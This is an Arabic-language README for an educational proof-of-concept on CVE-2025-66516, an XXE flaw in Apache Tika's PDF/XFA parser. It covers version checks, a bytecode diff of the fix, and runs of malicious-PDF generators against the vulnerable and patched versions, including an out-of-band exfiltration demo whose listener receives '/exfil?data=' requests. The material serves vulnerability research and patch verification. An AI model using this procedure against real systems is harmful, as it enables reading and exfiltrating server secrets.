
POC لثغرة Apache Tika CVE-2025-66516 لأغراض تعليمية فقط
لأغراض تعليمية/اختبارات مصرح بها فقط | الترخيص | سياسة الأمان
يحتوي هذا المستودع على استغلال كمفهوم إثباتي (POC) لثغرة CVE-2025-66516، وهي ثغرة حقن كيان خارجي XML (XXE) في إصدارات Apache Tika السابقة للإصدار 3.2.2. تؤثر الثغرة على محلل XFA (بنية نماذج XML) في مكوّن tika-parser-pdf-module، مما يسمح للمهاجمين بقراءة الملفات المحلية وسرقة البيانات الحساسة عبر مستندات PDF مُعدّة بشكل خبيث.
CVE-2025-66516 هي ثغرة أمنية خطيرة في وظيفة تحليل PDF في Apache Tika. عند معالجة ملفات PDF التي تحتوي على نماذج XFA مدمجة، تفشل إصدارات Tika قبل 3.2.2 في تقييد معالجة الكيانات الخارجية بشكل صحيح في محللات XML. وهذا يسمح للمهاجمين بـ:
يتضمن هذا المستودع:
Apache Tika XXE، استغلال CVE-2025-66516، ثغرة أمنية في Tika، هجوم الكيان الخارجي في XML، حقن XXE في PDF، ثغرة Tika 3.2.1، XXE خارج النطاق، OOB XXE، بحث أمني، اختبار اختراق، استغلال POC، إفصاح عن ثغرة، ثغرة محلل XFA، tika-parser-pdf-module، ثغرة كشف ملفات، سرقة بيانات، هجوم SSRF، برمجة آمنة، تحليل ثغرات، اختبار أمني، قرصنة أخلاقية، أمن معلومات، بحث في الأمن السيبراني، كود استغلال Apache Tika، حمولة XXE، أمان PDF، ثغرة محلل مستندات
ملاحظة: تم اختبار هذا المفهوم الإثباتي والتحقق منه على:
أولاً، أنشئ دليلاً مخصصاً لملفات POC للحفاظ على تنظيم جميع الملفات.
mkdir apache_tika_poc
cd apache_tika_poc
قبل المتابعة مع POC، تحقق من أن بيئتك تحتوي على التبعيات المطلوبة. ستعرض هذه الأوامر إصدارات مترجم/بيئة تشغيل Java لديك وتفاصيل نظام التشغيل، وهي مهمة لإعادة إنتاج الثغرة.
# Check Java version
java -version
javac -version
# Check OS version
lsb_release -a
المخرجات المتوقعة: يجب أن ترى معلومات إصدار Java (مثل OpenJDK 17.x.x) وتفاصيل إصدار Ubuntu (24.04.3 LTS).
قم بتنزيل كل من النسختين القابلة للاستغلال (3.2.1) والمصححة (3.2.2) من Apache Tika. نحتاج إلى النسختين معاً لإثبات أن ثغرة XXE موجودة في 3.2.1 وتم إصلاحها في 3.2.2. ملف tika-app JAR هو ملف تنفيذي متكامل يتضمن جميع محللات Tika وتبعياتها.
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Download patched Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
المخرجات المتوقعة: سيتم تنزيل ملفي JAR - tika-app-3.2.1.jar (~75 ميغابايت) وtika-app-3.2.2.jar (~75 ميغابايت).
تحقق من الإصدارات الدقيقة بفحص ملفات JAR manifest. يؤكد هذا أن لدينا النسخ الصحيحة القابلة للاستغلال والمصححة قبل الاختبار.
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
المخرجات المتوقعة: ملفات manifest تعرض Implementation-Version: 3.2.1 و3.2.2 على التوالي، بالإضافة إلى طوابع زمنية للبناء وبيانات وصفية أخرى.
إذا نظرنا إلى نماذج Project Object Model (تحدد خصائص POM في Maven تبعيات المشروع وإعدادات البناء والبيانات الوصفية)، نلاحظ عدم وجود tika-parsers منفصلة كما ذُكر في النشرات الأمنية - قد يكون ذلك متعلقاً بالإصدار، والافتراض أن وحدة tika-parsers في الإصدارين 3.2.1 و3.2.2، وهما جزء من POC، قد استُبدلت بوحدات محلل فردية.
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
المخرجات المتوقعة: قائمة بجميع وحدات مكونات Tika بما في ذلك tika-core وtika-parser-pdf-module وtika-xmp وغيرها. ستلاحظ وجود وحدات محلل فردية بدلاً من وحدة tika-parsers واحدة.
استخرج وعرض معلومات الإصدار لمكونات Tika الأساسية. يساعدنا هذا في فهم بنية الوحدات الداخلية والتأكد من أن كلاً من المكتبة الأساسية ووحدة محلل PDF في الإصدارات المتوقعة.
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
المخرجات المتوقعة: خصائص POM تعرض version=3.2.1 أو version=3.2.2 لكل مكوّن، مفصولة بـ ---. يجب أن تتطابق المكونات الثلاثة (tika-core وtika-parser-pdf-module وtika-app) مع الإصدار العام.
أنشئ ملف أسرار وهمياً سيكون هدف هجوم XXE الخاص بنا. يحاكي هذا الملف بيانات حساسة (مثل مفاتيح API أو بيانات الاعتماد) قد يحاول المهاجم سرقتها عبر ثغرة XXE.
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
المخرجات المتوقعة: ملف باسم fake-secrets.txt يحتوي على السلسلة INTERNAL_SERVER_KEY=EXPOSED. سيتم قراءة هذا الملف بواسطة استغلال XXE.
لفهم الإصلاح، نحتاج إلى فك ترجمة ومقارنة فئة XMLReaderUtils من كلا الإصدارين. هذه الفئة مسؤولة عن إنشاء محللات XML، وتنبع الثغرة من طريقة تكوينها لمعالجة كيانات XML.
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
المخرجات المتوقعة: يؤدي الاستخراج إلى إنشاء دليلين يحتويان على ملفات الفئات المُفككة. يولد أمر javap تفكيك البايت كود لفئة XMLReaderUtils. سيعرض أمر diff الاختلافات في كيفية تكوين محلل XML بين الإصدارين.
إذا قارنا بعناية، سنجد أن دعم تعريف نوع المستند (DTD) والكيانات الخارجية معطّل في 3.2.2 - وهذا هو جوهر الإصلاح:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
المخرجات المتوقعة: سترى مخرجات diff تعرض أن الإصدار 3.2.2 يضيف استدعاءات لتعطيل معالجة DTD وحل الكيانات الخارجية. ابحث عن الأسطر التي تضبط accessExternalDTD على سلسلة فارغة وsupportDTD على false.
يوضح هذا هجوم XXE الكلاسيكي حيث يقرأ ملف PDF خبيث ملفاً محلياً من نظام ملفات الخادم. ينشئ سكربت Python ملف PDF يحتوي على نموذج XFA مدمج يتضمن XML مع حمولة XXE تشير إلى file:///fake-secrets.txt.
# Generate malicious PDF
python3 ./gen_poc.py
# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
المخرجات المتوقعة:
gen_poc.py ملف cve_2025_66516_poc.pdf الذي يحتوي على حمولة XXEINTERNAL_SERVER_KEY=EXPOSED - محتويات الملف السري!يوضح هذا هجوماً أكثر تطوراً من نوع XXE باستخدام سرقة البيانات خارج النطاق (OOB). بدلاً من عكس محتويات الملف في الاستجابة، يجبر ملف PDF الخبيث Tika على إرسال البيانات إلى خادم خارجي يتحكم فيه المهاجم. تعمل هذه التقنية حتى عندما لا يعيد التطبيق المحتوى المُحلَّل.
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py
# Start HTTP listener (in separate terminal)
python3 ./http_listener.py
# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# Test OOB XXE with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
المخرجات المتوقعة:
gen_oob_poc.py ملف cve-2025-66516_OOB_XXE.pdf مع حمولة XXE خارج النطاقhttp_listener.py خادماً على المنفذ 8888 وينتظر الطلبات الواردة/evil.dtd (جلب DTD خارجي)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (سرقة البيانات)يختبر هذا الثغرة في سيناريو أكثر واقعية حيث يُستخدم Tika كمكتبة داخل تطبيق Java (وليس مجرد أداة سطر أوامر). يحاكي كود DocumentProcessor.java كيفية دمج تطبيق نموذجي لـ Tika لتحليل المستندات.
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
المخرجات المتوقعة:
Document processed successfully!
Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [text WITHOUT secret data]
✓ No XXE vulnerability detected.
أزل الدلائل والملفات المؤقتة التي أُنشئت خلال مرحلة التحليل للحفاظ على نظافة مساحة العمل.
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
المخرجات المتوقعة: ستتم إزالة الدلائل وملفات النصوص المُفككة. لن يتم عرض أي مخرجات ما لم يكن هناك خطأ.
إذا اكتشفت ثغرات أمنية، فيرجى الإبلاغ عنها بمسؤولية:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
للاستخدام التعليمي فقط - هذا المفهوم الإثباتي مخصص للأغراض التعليمية والاختبارات الأمنية المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها غير قانوني.
المساهمات لتحسين هذا المفهوم الإثباتي أو التوثيق مرحب بها! يرجى التأكد من أن أي مساهمات:
آخر تحديث: ديسمبر 2025
ssrfoob-xxefile-disclosuresecure-codingvulnerability-analysissecurity-testingexploit-developmentred-teamblue-teamappsecdocument-parsingjava-security